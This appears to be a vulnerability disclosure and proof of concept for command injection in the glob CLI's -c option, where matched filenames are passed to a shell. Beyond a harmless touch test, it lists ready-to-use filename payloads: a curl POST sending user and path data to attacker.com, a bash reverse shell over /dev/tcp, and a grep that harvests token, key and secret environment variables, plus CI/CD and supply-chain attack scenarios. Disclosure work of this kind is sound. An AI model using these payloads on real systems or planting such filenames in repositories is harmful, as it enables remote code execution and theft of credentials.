glob CLI Command Injection via Filename Shell Metacharacters

Proof of Concept

# Vulnerable code in glob CLI (src/bin.mts:277)
# Matched filenames passed to shell with shell: true
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

# ========== PROOF OF CONCEPT ==========

# 1. Create a file with command injection payload in filename
mkdir test_directory && cd test_directory
touch '$(touch injected_poc)'

# 2. Run glob CLI with -c option
glob -c echo "**/*"

# Result:
# - The echo command executes normally
# - The $(touch injected_poc) in filename is evaluated by shell
# - A new file "injected_poc" is created, proving arbitrary code execution

# ========== ADVANCED PAYLOADS ==========

# Data Exfiltration:
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

# Reverse Shell:
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

# Environment Variable Harvesting (CI/CD secrets):
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

# Attack Scenarios:
# - CI/CD: Malicious PR adds crafted filenames, pipeline runs glob -c
# - Developer: Clone repo with malicious filenames, local build scripts execute
# - Supply Chain: Malicious npm packages include crafted filenames